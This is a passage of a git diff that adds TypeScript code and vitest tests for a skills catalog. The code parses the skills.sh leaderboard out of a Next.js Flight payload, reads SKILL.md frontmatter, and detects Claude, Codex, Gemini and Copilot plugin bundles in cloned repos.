+export {
+ ownerOf,
+ parseSkillsShCatalogSource,
+ type SkillsShCatalogSource,
+ type SkillsShSkillLinks,
+ skillsShSkillLinks,
+ slug,
+} from './source-fields.ts';
diff --git a/packages/core/src/skills-catalog/leaderboard.test.ts b/packages/core/src/skills-catalog/leaderboard.test.ts
new file mode 100644
index 000000000..aca1fcb01
--- /dev/null
+++ b/packages/core/src/skills-catalog/leaderboard.test.ts
@@ -0,0 +1,148 @@
+import { describe, expect, test } from 'vitest';
+import { parseSkillsShLeaderboard, parseSkillsShLeaderboardCards } from './leaderboard.ts';
+
+// A minimal raw RSC Flight stream: three cards (one duplicate, one incomplete).
+const RAW_FLIGHT =
+ 'noise{"skillId":"design","source":"anthropics/skills","installs":50}xx' +
+ '{"skillId":"pr-writer","source":"inkeep/skills","installs":120}' +
+ '{"skillId":"design","source":"anthropics/skills","installs":50}' + // duplicate id
+ '{"skillId":"partial","source":"acme/skills"}'; // no installs -> dropped
+
+describe('parseSkillsShLeaderboard', () => {
+ test('extracts complete cards in payload order, dropping incomplete ones', () => {
+ const cards = parseSkillsShLeaderboardCards(RAW_FLIGHT);
+ // 3 complete cards (the partial with no installs is dropped); duplicate kept
+ // at card level (dedup happens in the mapping step).
+ expect(cards.map((c) => c.skillId)).toEqual(['design', 'pr-writer', 'design']);
+ expect(cards.every((c) => typeof c.installs === 'number')).toBe(true);
+ });
+
+ test('maps to ranked SkillSearchResults: install-desc, de-duped, owner as publisher', () => {
+ const ranked = parseSkillsShLeaderboard(RAW_FLIGHT);
+ expect(ranked.map((r) => r.id)).toEqual([
+ 'inkeep/skills/pr-writer',
+ 'anthropics/skills/design',
+ ]);
+ expect(ranked[0]).toMatchObject({
+ id: 'inkeep/skills/pr-writer',
+ name: 'pr-writer',
+ source: 'inkeep/skills',
+ installs: 120,
+ publisher: 'inkeep',
+ });
+ // Strictly install-descending (we impose the sort, not the payload).
+ for (let i = 1; i < ranked.length; i++) {
+ expect((ranked[i - 1]?.installs ?? 0) >= (ranked[i]?.installs ?? 0)).toBe(true);
+ }
+ });
+
+ test('parses the HTML-wrapped form (self.__next_f.push chunks)', () => {
+ const inner = '{"skillId":"a","source":"o/r","installs":9}';
+ const html = `<script>self.__next_f.push([1,${JSON.stringify(inner)}])</script>`;
+ expect(parseSkillsShLeaderboard(html).map((r) => r.id)).toEqual(['o/r/a']);
+ });
+
+ test('returns [] on an unparseable payload (caller degrades to topics)', () => {
+ expect(parseSkillsShLeaderboard('<html>no cards here</html>')).toEqual([]);
+ });
+});
+
+describe('shape drift never mispairs a card', () => {
+ // The failure this guards: a stray key with a card field's NAME appearing
+ // anywhere else on the page (an `<Image source=…>` prop, a stats header with
+ // `installs`, an author card). A positional scan cut the card there and
+ // re-seeded the next one with the stray, so every later card carried the
+ // previous card's repository under this card's name — complete-looking,
+ // undetectable downstream, and cached as "last good" indefinitely.
+ test('a stray field elsewhere on the page drops nothing and mixes nothing', () => {
+ const payload = [
+ '{"skillId":"design","source":"anthropics/skills","installs":50}',
+ '{"source":"unsplash"}',
+ '{"skillId":"pr-writer","source":"inkeep/skills","installs":120}',
+ '{"skillId":"triage","source":"acme/tools","installs":10}',
+ ].join(',');
+
+ expect(parseSkillsShLeaderboardCards(payload)).toEqual([
+ { skillId: 'design', source: 'anthropics/skills', installs: 50 },
+ { skillId: 'pr-writer', source: 'inkeep/skills', installs: 120 },
+ { skillId: 'triage', source: 'acme/tools', installs: 10 },
+ ]);
+ });
+
+ test('braces and quotes inside a description cannot desynchronize the scan', () => {
+ const payload =
+ '{"skillId":"a","source":"o/r","installs":1,"desc":"use {curly} and \\"quoted\\" text"},' +
+ '{"skillId":"b","source":"o/r2","installs":2}';
+
+ expect(parseSkillsShLeaderboardCards(payload).map((c) => c.skillId)).toEqual(['a', 'b']);
+ });
+
+ test('a card nested inside a wrapper is found, and the wrapper is not a card', () => {
+ const payload = '{"items":[{"skillId":"a","source":"o/r","installs":3}],"installs":999}';
+ expect(parseSkillsShLeaderboardCards(payload)).toEqual([
+ { skillId: 'a', source: 'o/r', installs: 3 },
+ ]);
+ });
+
+ test('fields of the right name but wrong type drop the card', () => {
+ const payload = '{"skillId":"a","source":"o/r","installs":"many"}';
+ expect(parseSkillsShLeaderboardCards(payload)).toEqual([]);
+ });
+});
+
+describe('real Flight payloads, which are not all valid JSON', () => {
+ // Next.js Flight cards routinely carry references like `"icon":$L12`. Parsing
+ // each candidate object STRICTLY and skipping what fails would have returned
+ // zero cards on exactly the payload this parser exists to read — an empty
+ // popular shelf on every load.
+ test('reads a card whose object contains a Flight reference', () => {
+ const payload =
+ '{"skillId":"design","source":"anthropics/skills","installs":50,"icon":$L12},' +
+ '{"skillId":"triage","source":"acme/tools","installs":10,"badge":$L13}';
+
+ expect(parseSkillsShLeaderboardCards(payload)).toEqual([
+ { skillId: 'design', source: 'anthropics/skills', installs: 50 },
+ { skillId: 'triage', source: 'acme/tools', installs: 10 },
+ ]);
+ });
+
+ test('a nested object cannot shadow the card own field', () => {
+ const payload =
+ '{"skillId":"design","author":{"source":"WRONG/repo"},"source":"right/repo","installs":5,"x":$L1}';
+
+ expect(parseSkillsShLeaderboardCards(payload)).toEqual([
+ { skillId: 'design', source: 'right/repo', installs: 5 },
+ ]);
+ });
+
+ test('still drops a Flight-shaped object missing a card field', () => {
+ expect(parseSkillsShLeaderboardCards('{"skillId":"a","source":"o/r","icon":$L1}')).toEqual([]);
+ });
+});
+
+describe('the slice-size guard is a real boundary', () => {
+ // `fieldsAtOwnDepth` allocates a depth map per candidate slice, so it refuses
+ // anything card-sized-and-then-some. Pinned because the constant is a
+ // correctness boundary: raise it and a megabyte wrapper gets depth-mapped;
+ // invert the guard and legitimate cards vanish.
+ test('a valid card padded past the cap is dropped, and one just under is kept', () => {
+ const card = (pad: string) =>
+ `{"skillId":"design","source":"o/r","installs":5,"pad":"${pad}","x":$L1}`;
+
+ // Over the 8192-byte cap: JSON.parse also refuses it (the $L1), so the
+ // fallback is the only reader — and it declines.
+ expect(parseSkillsShLeaderboardCards(card('p'.repeat(9000)))).toEqual([]);
+
+ // Comfortably under: the same shape still reads.
+ expect(parseSkillsShLeaderboardCards(card('p'.repeat(100)))).toEqual([
+ { skillId: 'design', source: 'o/r', installs: 5 },
+ ]);
+ });
+
+ test('an oversized card that IS valid JSON still parses (the cap is fallback-only)', () => {
+ const big = `{"skillId":"design","source":"o/r","installs":5,"pad":"${'p'.repeat(9000)}"}`;
+ expect(parseSkillsShLeaderboardCards(big)).toEqual([
+ { skillId: 'design', source: 'o/r', installs: 5 },
+ ]);
+ });
+});
diff --git a/packages/core/src/skills-catalog/leaderboard.ts b/packages/core/src/skills-catalog/leaderboard.ts
new file mode 100644
index 000000000..32cbe7a0d
--- /dev/null
+++ b/packages/core/src/skills-catalog/leaderboard.ts
@@ -0,0 +1,191 @@
+/**
+ * Parser for the skills.sh leaderboard (the "popular skills" list).
+ *
+ * skills.sh has no keyless JSON leaderboard endpoint — the ranked list is behind
+ * a token-gated API we don't want to require — but the front page ships the full
+ * list in its Next.js RSC (React Flight) payload. This module extracts the cards
+ * from that payload so the server can populate "Discover" with popular skills
+ * without a search query.
+ *
+ * Pure (no fetch) so it's unit-testable against a saved fixture; the server does
+ * the fetch + caching. Defensive like the sibling `parseSkillsShSearch`: shape
+ * drift skips a card rather than throwing. We also SORT by installs ourselves
+ * rather than trusting the payload's order — their internal ordering is not a
+ * contract, and imposing the sort makes a reorder a non-event instead of a break.
+ */
+
+import type { SkillSearchResult } from './schema.ts';
+import { ownerOf } from './source-fields.ts';
+
+interface RawCard {
+ skillId: string;
+ source: string;
+ installs: number;
+}
+
+/**
+ * Normalize either the raw RSC Flight stream (from a `RSC: 1` fetch) or a full
+ * HTML page (Flight data wrapped in `self.__next_f.push([1,"…"])` chunks) into a
+ * single un-escaped Flight string.
+ */
+function toFlightStream(body: string): string {
+ if (!body.includes('self.__next_f')) return body; // already a raw Flight stream
+ const chunk = /self\.__next_f\.push\(\[1,("(?:[^"\\]|\\.)*")\]\)/g;
+ let out = '';
+ for (const m of body.matchAll(chunk)) out += JSON.parse(m[1] as string) as string;
+ return out;
+}
+
+const CARD_KEYS = ['skillId', 'source', 'installs'] as const;
+
+/** A card is small; anything larger is an ancestor, not a card. Bounds the
+ * depth-map allocation below so a megabyte-scale wrapper is never scanned. */
+const MAX_CARD_SLICE_BYTES = 8192;
+
+/**
+ * Read the three card fields off ONE object's source slice, considering only
+ * properties at the object's own depth.
+ *
+ * The fallback for when `JSON.parse` refuses the slice — which real Flight
+ * payloads cause routinely, because a card can carry a Flight reference
+ * (`"icon":$L12`) that is not valid JSON. Parsing strictly and skipping the
+ * rest would empty the shelf on exactly the payload this parser exists to read.
+ *
+ * Still object-scoped, which is the property that matters: a stray key
+ * elsewhere on the page cannot reach this slice, so it cannot mispair a card.
+ * Depth-tracking keeps a nested `{"author":{"source":…}}` from shadowing the
+ * card's own field.
+ */
+function fieldsAtOwnDepth(slice: string): Record<string, unknown> {
+ const out: Record<string, unknown> = {};
+ if (slice.length > MAX_CARD_SLICE_BYTES) return out;
+
+ // Depth of every index, so a match can be tested for "direct property of this
+ // object" (depth 1 — the opening brace took it to 1).
+ const depthAt = new Uint8Array(slice.length);
+ let depth = 0;
+ let inString = false;
+ let escaped = false;
+ for (let i = 0; i < slice.length; i++) {
+ depthAt[i] = Math.min(depth, 255);
+ const ch = slice[i];
+ if (escaped) {
+ escaped = false;
+ continue;
+ }
+ if (ch === '\\') {
+ escaped = inString;
+ continue;
+ }
+ if (ch === '"') {
+ inString = !inString;
+ continue;
+ }
+ if (inString) continue;
+ if (ch === '{' || ch === '[') depth++;
+ else if (ch === '}' || ch === ']') depth--;
+ }
+
+ const field = /"(skillId|source|installs)"\s*:\s*("(?:[^"\\]|\\.)*"|-?\d+(?:\.\d+)?)/g;
+ for (const m of slice.matchAll(field)) {
+ const key = m[1] as string;
+ if (m.index === undefined || depthAt[m.index] !== 1 || key in out) continue;
+ const raw = m[2] as string;
+ out[key] = raw.startsWith('"') ? (JSON.parse(raw) as string) : Number(raw);
+ }
+ return out;
+}
+
+/**
+ * Yield every brace-balanced object in the stream that mentions all of
+ * `CARD_KEYS`, innermost first. Single forward pass tracking string state, so
+ * braces and quotes inside string values can't desynchronize it; slices are
+ * taken only for candidate objects.
+ */
+function* candidateObjects(flight: string): Generator<Record<string, unknown>> {
+ const starts: number[] = [];
+ let inString = false;
+ let escaped = false;
+ for (let i = 0; i < flight.length; i++) {
+ const ch = flight[i];
+ if (escaped) {
+ escaped = false;
+ continue;
+ }
+ if (ch === '\\') {
+ escaped = inString;
+ continue;
+ }
+ if (ch === '"') {
+ inString = !inString;
+ continue;
+ }
+ if (inString) continue;
+ if (ch === '{') starts.push(i);
+ else if (ch === '}') {
+ const start = starts.pop();
+ if (start === undefined) continue;
+ const slice = flight.slice(start, i + 1);
+ if (!CARD_KEYS.every((k) => slice.includes(`"${k}"`))) continue;
+ try {
+ const parsed: unknown = JSON.parse(slice);
+ if (parsed !== null && typeof parsed === 'object' && !Array.isArray(parsed)) {
+ yield parsed as Record<string, unknown>;
+ continue;
+ }
+ } catch {
+ // Falls through to the slice reader below.
+ }
+ yield fieldsAtOwnDepth(slice);
+ }
+ }
+}
+
+/**
+ * Extract skill cards, in payload order, from a Flight stream or HTML page. A
+ * card needs all of `skillId` / `source` / `installs` ON ONE OBJECT; anything
+ * else is DROPPED (never fabricated), so a partial object can't yield a bogus
+ * id or dead URL.
+ *
+ * Object-scoped rather than positional on purpose. Scanning loose `"key":value`
+ * matches and cutting a card at the first repeat meant one stray `source` /
+ * `skillId` / `installs` key ANYWHERE in the page permanently desynchronized the
+ * window: every later card paired one skill's name with the previous card's
+ * repository. That is worse than dropping a card — it is a complete-looking card
+ * pointing at a repo the skill does not live in, and nothing downstream can tell.
+ */
+export function parseSkillsShLeaderboardCards(body: string): RawCard[] {
+ const flight = toFlightStream(body);
+ const cards: RawCard[] = [];
+ for (const obj of candidateObjects(flight)) {
+ const { skillId, source, installs } = obj;
+ if (typeof skillId !== 'string' || skillId === '') continue;
+ if (typeof source !== 'string' || source === '') continue;
+ if (typeof installs !== 'number' || !Number.isFinite(installs)) continue;
+ cards.push({ skillId, source, installs });
+ }
+ return cards;
+}
+
+/**
+ * Parse the skills.sh front-page payload into `SkillSearchResult`s ordered by
+ * install count (most first). De-duplicated by id; the same shape the search
+ * proxy returns, so the client renders both identically. Empty when the payload
+ * can't be parsed — the caller degrades to topic chips.
+ */
+export function parseSkillsShLeaderboard(body: string): SkillSearchResult[] {
+ const byId = new Map<string, SkillSearchResult>();
+ for (const c of parseSkillsShLeaderboardCards(body)) {
+ const id = `${c.source}/${c.skillId}`;
+ if (byId.has(id)) continue;
+ byId.set(id, {
+ id,
+ name: c.skillId,
+ source: c.source,
+ description: '',
+ installs: c.installs,
+ publisher: ownerOf(c.source),
+ });
+ }
+ return [...byId.values()].sort((a, b) => (b.installs ?? -1) - (a.installs ?? -1));
+}
diff --git a/packages/core/src/skills-catalog/manifest-meta.ts b/packages/core/src/skills-catalog/manifest-meta.ts
new file mode 100644
index 000000000..4cd92baca
--- /dev/null
+++ b/packages/core/src/skills-catalog/manifest-meta.ts
@@ -0,0 +1,32 @@
+/**
+ * The one SKILL.md `{ name, description }` extractor. Both the catalog adapter
+ * reader (`adapters/shared.ts`) and the acquire parser (`acquire/parse.ts`) need
+ * the same rule — frontmatter `name`/`description`, dir-name fallback, empty-name
+ * guard — so it lives here once instead of drifting between the two.
+ */
+
+import { stripFrontmatter, unwrapFrontmatterFences } from '../extensions/frontmatter.ts';
+import { parseFrontmatterYaml } from '../frontmatter/yaml-codec.ts';
+
+/**
+ * Extract `{ name, description }` from SKILL.md text. `name` falls back to
+ * `dirName` when frontmatter is absent, malformed, or carries a blank name;
+ * `description` defaults to `''`. Never throws — `parseFrontmatterYaml` degrades
+ * malformed YAML rather than raising, so one bad skill stays degraded, not fatal.
+ */
+export function readSkillManifestMeta(
+ skillMd: string,
+ dirName: string,
+): { name: string; description: string } {
+ let name = dirName;
+ let description = '';
+ const { frontmatter: fenced } = stripFrontmatter(skillMd);
+ if (fenced !== '') {
+ const { map } = parseFrontmatterYaml(unwrapFrontmatterFences(fenced));
+ const fmName = map?.name;
+ const fmDesc = map?.description;
+ if (typeof fmName === 'string' && fmName.trim() !== '') name = fmName;
+ if (typeof fmDesc === 'string') description = fmDesc;
+ }
+ return { name, description };
+}
diff --git a/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.test.ts b/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.test.ts
new file mode 100644
index 000000000..dc8f90391
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.test.ts
@@ -0,0 +1,138 @@
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { inspectPluginBundleDir } from './registry.ts';
+
+let root: string;
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), 'ok-bundle-inspect-'));
+});
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+function skill(dir: string, name: string): void {
+ const d = join(dir, 'skills', name);
+ mkdirSync(d, { recursive: true });
+ writeFileSync(join(d, 'SKILL.md'), `---\nname: ${name}\ndescription: x\n---\nbody\n`);
+}
+
+function manifest(dir: string, rel: string, body: unknown): void {
+ const full = join(dir, rel);
+ mkdirSync(join(full, '..'), { recursive: true });
+ writeFileSync(full, JSON.stringify(body));
+}
+
+describe('inspectPluginBundleDir', () => {
+ test('detects a Claude plugin repo, enumerates bundled skills + capabilities', () => {
+ manifest(root, '.claude-plugin/plugin.json', { name: 'ponytail', version: '4.8.4' });
+ skill(root, 'ponytail-audit');
+ skill(root, 'ponytail-review');
+ mkdirSync(join(root, 'commands'), { recursive: true });
+ writeFileSync(join(root, 'commands', 'go.toml'), '');
+ writeFileSync(join(root, 'hooks.json'), '{}');
+
+ const got = inspectPluginBundleDir(root);
+ expect(got?.provider).toBe('claude');
+ expect(got?.plugin).toBe('ponytail');
+ expect(got?.version).toBe('4.8.4');
+ expect(got?.bundledSkills).toEqual(['ponytail-audit', 'ponytail-review']);
+ expect(got?.capabilities).toEqual({
+ commands: true,
+ hooks: true,
+ mcp: false,
+ agents: false,
+ });
+ expect(got?.setupSupported).toBe(true);
+ });
+
+ test('reads a single-plugin marketplace.json when plugin.json is absent', () => {
+ manifest(root, '.claude-plugin/marketplace.json', {
+ name: 'mkt',
+ plugins: [{ name: 'ponytail', description: 'lazy', source: './' }],
+ });
+ skill(root, 'a');
+ const got = inspectPluginBundleDir(root);
+ expect(got?.plugin).toBe('ponytail');
+ expect(got?.description).toBe('lazy');
+ });
+
+ test('detects Codex, Gemini, Copilot by their manifests — setup unsupported', () => {
+ const codex = mkdtempSync(join(tmpdir(), 'codex-'));
+ const gemini = mkdtempSync(join(tmpdir(), 'gemini-'));
+ const copilot = mkdtempSync(join(tmpdir(), 'copilot-'));
+ try {
+ manifest(codex, '.codex-plugin/plugin.json', { name: 'cx', version: '1.0.0' });
+ skill(codex, 's');
+ manifest(gemini, 'gemini-extension.json', { name: 'gx', version: '2.0.0' });
+ skill(gemini, 's');
+ // Copilot bare-root plugin.json must declare `skills` to count.
+ manifest(copilot, 'plugin.json', { name: 'cp', version: '3.0.0', skills: ['skills/'] });
+ skill(copilot, 's');
+
+ expect(inspectPluginBundleDir(codex)).toMatchObject({
+ provider: 'codex',
+ plugin: 'cx',
+ setupSupported: false,
+ });
+ expect(inspectPluginBundleDir(gemini)).toMatchObject({ provider: 'gemini', plugin: 'gx' });
+ expect(inspectPluginBundleDir(copilot)).toMatchObject({ provider: 'copilot', plugin: 'cp' });
+ } finally {
+ for (const d of [codex, gemini, copilot]) rmSync(d, { recursive: true, force: true });
+ }
+ });
+
+ test('an unrelated bare-root plugin.json (no skills field) is NOT a Copilot plugin', () => {
+ // Common filename — must not false-positive just because a skills/ dir exists.
+ manifest(root, 'plugin.json', { name: 'some-random-tool', version: '1.0.0' });
+ skill(root, 'a');
+ expect(inspectPluginBundleDir(root)).toBeNull();
+ // But a Copilot-namespaced manifest IS unambiguous, no skills field needed.
+ manifest(root, '.plugin/plugin.json', { name: 'cop' });
+ expect(inspectPluginBundleDir(root)).toMatchObject({ provider: 'copilot', plugin: 'cop' });
+ });
+
+ test('Claude wins a multi-harness repo (setup provider precedence)', () => {
+ manifest(root, '.claude-plugin/plugin.json', { name: 'ponytail' });
+ manifest(root, '.codex-plugin/plugin.json', { name: 'ponytail' });
+ writeFileSync(join(root, 'gemini-extension.json'), JSON.stringify({ name: 'ponytail' }));
+ skill(root, 'a');
+ expect(inspectPluginBundleDir(root)?.provider).toBe('claude');
+ });
+
+ test('enumerates skills nested under category folders (real plugin layout)', () => {
+ // mattpocock/skills-style: skills/<category>/<name>/SKILL.md (depth 2).
+ manifest(root, '.claude-plugin/plugin.json', { name: 'mattpocock-skills' });
+ for (const [cat, name] of [
+ ['productivity', 'grill-me'],
+ ['in-progress', 'batch-grill-me'],
+ ['misc', 'setup-pre-commit'],
+ ] as const) {
+ const d = join(root, 'skills', cat, name);
+ mkdirSync(d, { recursive: true });
+ writeFileSync(join(d, 'SKILL.md'), `---\nname: ${name}\n---\nx\n`);
+ }
+ // A references/ dir under a skill must NOT be mistaken for a sub-skill.
+ mkdirSync(join(root, 'skills', 'productivity', 'grill-me', 'references'), { recursive: true });
+ writeFileSync(join(root, 'skills', 'productivity', 'grill-me', 'references', 'x.md'), 'ref');
+
+ const got = inspectPluginBundleDir(root);
+ expect(got?.plugin).toBe('mattpocock-skills');
+ expect(got?.bundledSkills).toEqual(['batch-grill-me', 'grill-me', 'setup-pre-commit']);
+ });
+
+ test('null for a bare skill repo (no manifest) and a manifest with no skills/', () => {
+ // Bare skill dir, no plugin manifest.
+ skill(root, 'lonely');
+ expect(inspectPluginBundleDir(root)).toBeNull();
+ // Plugin manifest but no skills/ dir → nothing to bundle-offer.
+ const noSkills = mkdtempSync(join(tmpdir(), 'noskills-'));
+ try {
+ manifest(noSkills, '.claude-plugin/plugin.json', { name: 'p' });
+ expect(inspectPluginBundleDir(noSkills)).toBeNull();
+ } finally {
+ rmSync(noSkills, { recursive: true, force: true });
+ }
+ });
+});
diff --git a/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.ts b/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.ts
new file mode 100644
index 000000000..b1ff47366
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/bundle-inspect.ts
@@ -0,0 +1,67 @@
+import { type Dirent, existsSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+import type { PluginCapabilities } from './types.ts';
+
+/** A dir counts as present-and-active when it exists and holds ≥1 entry. */
+function nonEmptyDir(path: string): boolean {
+ try {
+ return readdirSync(path).length > 0;
+ } catch {
+ return false;
+ }
+}
+
+/** Max dir depth walked under `skills/` — real plugins nest one level by
+ * category (`skills/productivity/grill-me/SKILL.md`); a couple more guards
+ * against a pathological tree without an unbounded walk. */
+const BUNDLED_SKILLS_MAX_DEPTH = 4;
+
+/**
+ * The bundled skills shipped in a cloned plugin repo. Every plugin harness
+ * (Claude, Codex, Copilot, Gemini) keeps skills under a `skills/` dir, but the
+ * skill dirs may sit DIRECTLY under it (`skills/grill-me/SKILL.md`) OR nested by
+ * category (`skills/productivity/grill-me/SKILL.md`) — so this recursively finds
+ * every `SKILL.md`/`SKILL.mdx` and returns its CONTAINING dir's basename (the
+ * skill name discovery/import use). A plugin with no `skills/` dir, or one whose
+ * skills carry no SKILL.md, returns [] and the caller treats it as "not a skill
+ * bundle". Deduped + sorted.
+ */
+export function enumerateBundledSkills(dir: string): string[] {
+ const names = new Set<string>();
+ const walk = (current: string, depth: number): void => {
+ if (depth > BUNDLED_SKILLS_MAX_DEPTH) return;
+ let entries: Dirent[];
+ try {
+ entries = readdirSync(current, { withFileTypes: true });
+ } catch {
+ return;
+ }
+ // This dir IS a skill dir when it holds a SKILL.md — record its basename and
+ // don't descend further (references/scripts under it aren't sub-skills).
+ if (existsSync(join(current, 'SKILL.md')) || existsSync(join(current, 'SKILL.mdx'))) {
+ names.add(current.split('/').pop() ?? current);
+ return;
+ }
+ for (const e of entries) {
+ if (e.isDirectory()) walk(join(current, e.name), depth + 1);
+ }
+ };
+ walk(join(dir, 'skills'), 0);
+ return [...names].sort();
+}
+
+/**
+ * Capability presence-flags for a cloned plugin repo — read-only disk facts,
+ * never mapped or executed (the trust contract). Root-dir/file conventions that
+ * hold across the plugin harnesses: `commands/`, `hooks/` or a `hooks.json`,
+ * `.mcp.json` (or an inline `mcpServers` manifest field, checked by the caller),
+ * `agents/`.
+ */
+export function inspectBundleCapabilities(dir: string): PluginCapabilities {
+ return {
+ commands: nonEmptyDir(join(dir, 'commands')),
+ hooks: nonEmptyDir(join(dir, 'hooks')) || existsSync(join(dir, 'hooks.json')),
+ mcp: existsSync(join(dir, '.mcp.json')),
+ agents: nonEmptyDir(join(dir, 'agents')),
+ };
+}
diff --git a/packages/core/src/skills-catalog/plugin-providers/claude.ts b/packages/core/src/skills-catalog/plugin-providers/claude.ts
new file mode 100644
index 000000000..9db79f7f0
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/claude.ts
@@ -0,0 +1,181 @@
+import { existsSync, readdirSync, readFileSync, statSync } from 'node:fs';
+import { dirname, join, resolve } from 'node:path';
+import { enumerateClaudePlugins } from '../adapters/claude-plugins.ts';
+import type { PluginProviderAdapter } from './types.ts';
+
+const CACHE_SOURCE = /^(.*\/plugins\/cache\/([^/]+)\/([^/]+))\/([^/]+)(?:\/.*)?$/;
+const PLUGIN_PATH = /^(.*\/plugins)\/(?:cache|marketplaces)\/([^/]+)\//;
+const MARKETPLACE_SOURCE = /^(.*\/plugins\/marketplaces\/([^/]+))(?:\/.*)?$/;
+
+function normalizedPath(source: string): string {
+ return source.replaceAll('\\', '/').replace(/\/+$/, '');
+}
+
+function marketplaceRepositoryUrl(source: string): string | null {
+ const match = PLUGIN_PATH.exec(normalizedPath(source));
+ if (!match) return null;
+ try {
+ const raw = readFileSync(`${match[1]}/known_marketplaces.json`, 'utf-8');
+ const entry = (
+ JSON.parse(raw) as Record<string, { source?: { source?: string; repo?: string } }>
+ )[match[2]];
+ return entry?.source?.source === 'github' && entry.source.repo
+ ? `https://github.com/${entry.source.repo}`
+ : null;
+ } catch {
+ return null;
+ }
+}
+
+function readPluginManifest(
+ source: string,
+ boundary: string,
+): { name: string; version?: string } | null {
+ let current = resolve(source);
+ try {
+ if (!statSync(current).isDirectory()) current = dirname(current);
+ } catch {
+ return null;
+ }
+ const stop = resolve(boundary);
+ while (current === stop || current.startsWith(`${stop}/`)) {
+ try {
+ const parsed = JSON.parse(
+ readFileSync(join(current, '.claude-plugin', 'plugin.json'), 'utf-8'),
+ ) as { name?: unknown; version?: unknown };
+ if (typeof parsed.name === 'string' && parsed.name.length > 0) {
+ return {
+ name: parsed.name,
+ ...(typeof parsed.version === 'string' ? { version: parsed.version } : {}),
+ };
+ }
+ } catch {
+ // Keep walking toward the marketplace root.
+ }
+ if (current === stop) break;
+ current = dirname(current);
+ }
+ return null;
+}
+
+function inspectSource(source: string): ReturnType<PluginProviderAdapter['inspectSource']> {
+ const normalized = normalizedPath(source);
+ const cache = CACHE_SOURCE.exec(normalized);
+ if (cache) {
+ const manifest = readPluginManifest(source, `${cache[1]}/${cache[4]}`);
+ if (!manifest || manifest.name !== cache[3]) return null;
+ return {
+ plugin: cache[3],
+ marketplace: cache[2],
+ version: manifest.version ?? cache[4],
+ };
+ }
+
+ const marketplace = MARKETPLACE_SOURCE.exec(normalized);
+ if (!marketplace) return null;
+ const manifest = readPluginManifest(source, marketplace[1]);
+ if (!manifest) return null;
+ return {
+ plugin: manifest.name,
+ marketplace: marketplace[2],
+ ...(manifest.version ? { version: manifest.version } : {}),
+ };
+}
+
+function newestVersion(versions: string[]): string | undefined {
+ return [...versions].sort((a, b) => a.localeCompare(b, undefined, { numeric: true })).pop();
+}
+
+function resolveUpdateSource(source: string): string {
+ const normalized = normalizedPath(source);
+ const match = CACHE_SOURCE.exec(normalized);
+ if (!match) return source;
+ const [pluginRoot, recordedVersion] = [match[1], match[4]];
+ const suffix = normalized.slice(
+ match[0].indexOf(`/${recordedVersion}`) + recordedVersion.length + 1,
+ );
+ let versions: string[];
+ try {
+ versions = readdirSync(pluginRoot, { withFileTypes: true })
+ .filter((entry) => entry.isDirectory())
+ .map((entry) => entry.name);
+ } catch {
+ return source;
+ }
+ const latest = newestVersion(versions);
+ if (latest === undefined || latest === recordedVersion) return source;
+ const candidate = `${pluginRoot}/${latest}${suffix}`;
+ return existsSync(candidate) ? candidate : source;
+}
+
+/**
+ * Read a manifest's `{name, version, description}` from the first path that
+ * parses. Shared by the plugin.json-lineage providers (Claude/Codex/Copilot);
+ * their only difference is WHERE the manifest lives, passed as `relPaths`.
+ */
+export function readManifestIdentity(
+ dir: string,
+ relPaths: readonly string[],
+): { plugin: string; version?: string; description?: string } | null {
+ for (const rel of relPaths) {
+ try {
+ const parsed = JSON.parse(readFileSync(join(dir, rel), 'utf-8')) as {
+ name?: unknown;
+ version?: unknown;
+ description?: unknown;
+ };
+ if (typeof parsed.name === 'string' && parsed.name.length > 0) {
+ return {
+ plugin: parsed.name,
+ ...(typeof parsed.version === 'string' ? { version: parsed.version } : {}),
+ ...(typeof parsed.description === 'string' ? { description: parsed.description } : {}),
+ };
+ }
+ } catch {
+ // Try the next candidate path.
+ }
+ }
+ return null;
+}
+
+/**
+ * A cloned repo is a Claude plugin when it carries `.claude-plugin/plugin.json`
+ * OR a `.claude-plugin/marketplace.json` (single-plugin marketplace at `./`).
+ * Setup IS supported — OK owns the Claude plugin install lifecycle.
+ */
+function detectDir(dir: string): ReturnType<PluginProviderAdapter['detectDir']> {
+ const plugin = readManifestIdentity(dir, ['.claude-plugin/plugin.json']);
+ if (plugin) return { ...plugin, setupSupported: true };
+ // marketplace.json lists plugins; a single `./`-sourced plugin is the common
+ // repo-is-one-plugin case (e.g. ponytail). Read its name/description.
+ try {
+ const mkt = JSON.parse(
+ readFileSync(join(dir, '.claude-plugin', 'marketplace.json'), 'utf-8'),
+ ) as {
+ name?: unknown;
+ plugins?: Array<{ name?: unknown; description?: unknown; source?: unknown }>;
+ };
+ const self = mkt.plugins?.find((p) => p.source === './') ?? mkt.plugins?.[0];
+ const name = typeof self?.name === 'string' ? self.name : mkt.name;
+ if (typeof name === 'string' && name.length > 0) {
+ return {
+ plugin: name,
+ ...(typeof self?.description === 'string' ? { description: self.description } : {}),
+ setupSupported: true,
+ };
+ }
+ } catch {
+ // Not a Claude plugin repo.
+ }
+ return null;
+}
+
+export const claudePluginProvider: PluginProviderAdapter = {
+ id: 'claude',
+ homes: (home) => [{ harness: 'claude', dir: join(home, '.claude', 'plugins') }],
+ enumerate: enumerateClaudePlugins,
+ inspectSource,
+ repositoryUrl: marketplaceRepositoryUrl,
+ resolveUpdateSource,
+ detectDir,
+};
diff --git a/packages/core/src/skills-catalog/plugin-providers/manifest-providers.ts b/packages/core/src/skills-catalog/plugin-providers/manifest-providers.ts
new file mode 100644
index 000000000..fba8314b9
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/manifest-providers.ts
@@ -0,0 +1,91 @@
+/**
+ * Detection-only plugin providers for the non-Claude harnesses. skills.sh never
+ * flags the plugin relationship, but a source repo's manifest does — and Codex,
+ * Gemini, and Copilot all ship a top-level `{name, version, description}`
+ * manifest, differing only in WHERE it lives. So they collapse to one factory
